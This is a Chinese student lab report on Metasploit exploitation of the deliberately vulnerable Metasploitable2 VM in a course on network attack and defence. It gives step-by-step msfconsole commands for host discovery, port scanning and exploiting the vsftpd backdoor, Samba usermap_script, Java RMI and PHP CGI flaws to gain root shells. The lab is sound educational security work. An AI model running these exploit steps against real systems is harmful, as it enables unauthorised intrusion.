20232326 2025-2026-1 《网络与系统攻防技术》实验六实验报告
1. 实验内容
本实践目标是掌握metasploit的用法。
指导书参考Rapid7官网的指导教程。
https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/
下载官方靶机Metasploitable2,完成下面实验内容。
(1)前期渗透
①主机发现(可用Aux中的arp_sweep,search一下就可以use)
②端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等。
③选做:也可以扫系统版本、漏洞等。
(2)Vsftpd源码包后门漏洞(21端口)
漏洞原理:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“😃”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。
利用步骤:
在kali中执行msfconsole启动metasploit
use exploit/unix/ftp/vsftpd_234_backdoor 选择漏洞
set RHOST XX.xx.xx.xx 设置要攻击的机器IP(靶机IP)
exploit/run 开始攻击
利用成功
执行uname –a、 pwd、 id等命令 验证
(3)SambaMS-RPC Shell命令注入漏洞(端口139)
漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。
利用步骤:
use exploit/multi/samba/usermap_script 选择漏洞
set RHOST ip 设置要攻击的机器IP
exploit 开始攻击
利用成功 执行uname–a验证
(4)Java RMI SERVER命令执行漏洞(1099端口)
漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。
操作步骤:
首先查看1099端口是否打开。
然后在MSF中:
use exploit/multi/misc/java_rmi_server
show options 查看配置参数
set RHOST (靶机IP)
exploit/run
sessions -i id
shell (进入meterpreter时,使用whoami验证下)
(5)PHP CGI参数执行注入漏洞(80端口)
漏洞原理:CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。
在kali中执行msfconsole,启动metasploit
msf > use exploit/multi/http/php_cgi_arg_injection 选择漏洞
set RHOST ip 设置要攻击的机器IP
exploit/run 开始攻击
2. 实验过程
2.1 环境准备
-
攻击机:Kali Linux (IP:192.168.32.130)
![image]()
![image]()
-
靶机:Metasploitable2(IP:192.168.32.128)
在Metasploitable 2下载链接中下载安装包,解压后使用vmware打开压缩包中的vmx文件即可,无需完成虚拟机配置。
![image]()
虚拟机的默认配置如下:
![image]()
打开Metasploitable 2虚拟机,提示如下,选择I Copied It,适用于虚拟机被复制到新设备的情况,系统会重新配置标识等信息。
Metasploitable 2的登录方式是 。msfadmin:msfadmin
![image]()
查看虚拟机ip为192.168.32.128
![image]()
2.2 前期渗透
2.2.1 主机发现
使用Metasploit内置的arp_sweep模块扫描局域网内存活主机:
msfconsole
search arp_sweep
use 0
set RHOSTS 192.168.32.0/24 # 靶机所在网段
run
结果:

发现IP为192.168.32.2、192.168.32.128、192.168.32.254的主机存活。
2.2.2 端口扫描
使用Metasploit的portscan/tcp模块扫描靶机开放端口:
search portscan/tcp
use 0
set RHOSTS 192.168.32.128
set PORTS 1-10000 # 扫描常见端口
run
结果:

开放端口包括21(FTP)、22(SSH)、80(HTTP)、139(Samba)、445(SMB)、1099(Java RMI)等。
2.2.3 系统/漏洞探测
使用nmap补充扫描系统版本和漏洞信息:
nmap -O -sV 192.168.32.128
结果:

该主机开放了20余个TCP端口、系统为Linux 2.6.x,暴露了多个存在高危漏洞的老旧服务:
21端口的vsftpd2.3.4存在CVE-2011-2523后门漏洞可直接获取权限;
22端口OpenSSH 4.7p1、80端口Apache httpd 2.2.8因版本过旧存在目录遍历、代码执行等风险;
139/445端口的Samba smbd 3.X-4.X有远程代码执行漏洞;
1524端口直接开放root权限的绑定shell可通过nc工具直接登录;
3306端口MySQL 5.0.51a则存在认证绕过等隐患。
2.3 漏洞利用实践
2.3.1 Vsftpd 源码包后门漏洞(21端口)
- 启动Metasploit,搜索并选择漏洞模块:
msfconsole
search vsftpd_234_backdoor
use exploit/unix/ftp/vsftpd_234_backdoor

- 配置目标IP并攻击:
set RHOST 192.168.32.128
exploit

- 验证权限:
![image]()
结果:成功获取root权限。
2.3.2 Samba MS-RPC Shell 命令注入漏洞(139端口)
- 选择漏洞模块并配置:
search usermap_script
use 0
set RHOST 192.168.32.128
exploit

- 验证权限:
![image]()
2.3.3 Java RMI Server 命令执行漏洞(1099端口)
- 确认1099端口开放后,选择漏洞模块:
search java_rmi_server
use 0
set RHOST 192.168.32.128
exploit

- 进入 meterpreter会话并验证:
sessions -i 1 # 进入会话
whoami # 显示 root
结果:

成功获取root 权限 meterpreter会话。
2.3.4 PHP CGI 参数执行注入漏洞(80端口)
- 选择漏洞模块并攻击:
search php_cgi_arg_injection
use 0
set RHOST 192.168.32.128
exploit

- 验证权限:
sessions -i 1
uname -a
id
whoami
结果:

成功获取root权限。
3.问题及解决方案
-
问题1.打开虚拟机后发现没有网络连接
![image]()
-
问题1解决方案:
![image]()
点击界面左下角的Restore Defaults(还原默认设置)按钮重建虚拟网络
![image]()
![image]()
回到“服务”窗口,重启VMware NATService、DHCP Service;
![image]()
打开虚拟机,使用命令sudo /etc/init.d/networking restart重启网络服务,输入ifconfig查看ip,有网啦
![image]()
-
问题2:在进行Vsftpd源码包后门漏洞入侵时,前几次失败了,猜测可能是把靶机Metasploitable2在后台放久了已经进入待机状态,故而无法实现入侵。
-
问题2解决方案:最后一次点开靶机,重复一样的步骤成功了。
![image]()
4. 学习感悟、思考
之前为了给虚拟机扩容清理了一下D盘中的大文件,没想到不小心把VMware清掉了,重新安装之后出现了虚拟机没网的大问题,一顿操作才修好,真的不能乱清文件啊。
这次实验内容也比较简单,都是在msf中复现命令即可,基本没有遇到技术上的难题。
















浙公网安备 33010602011771号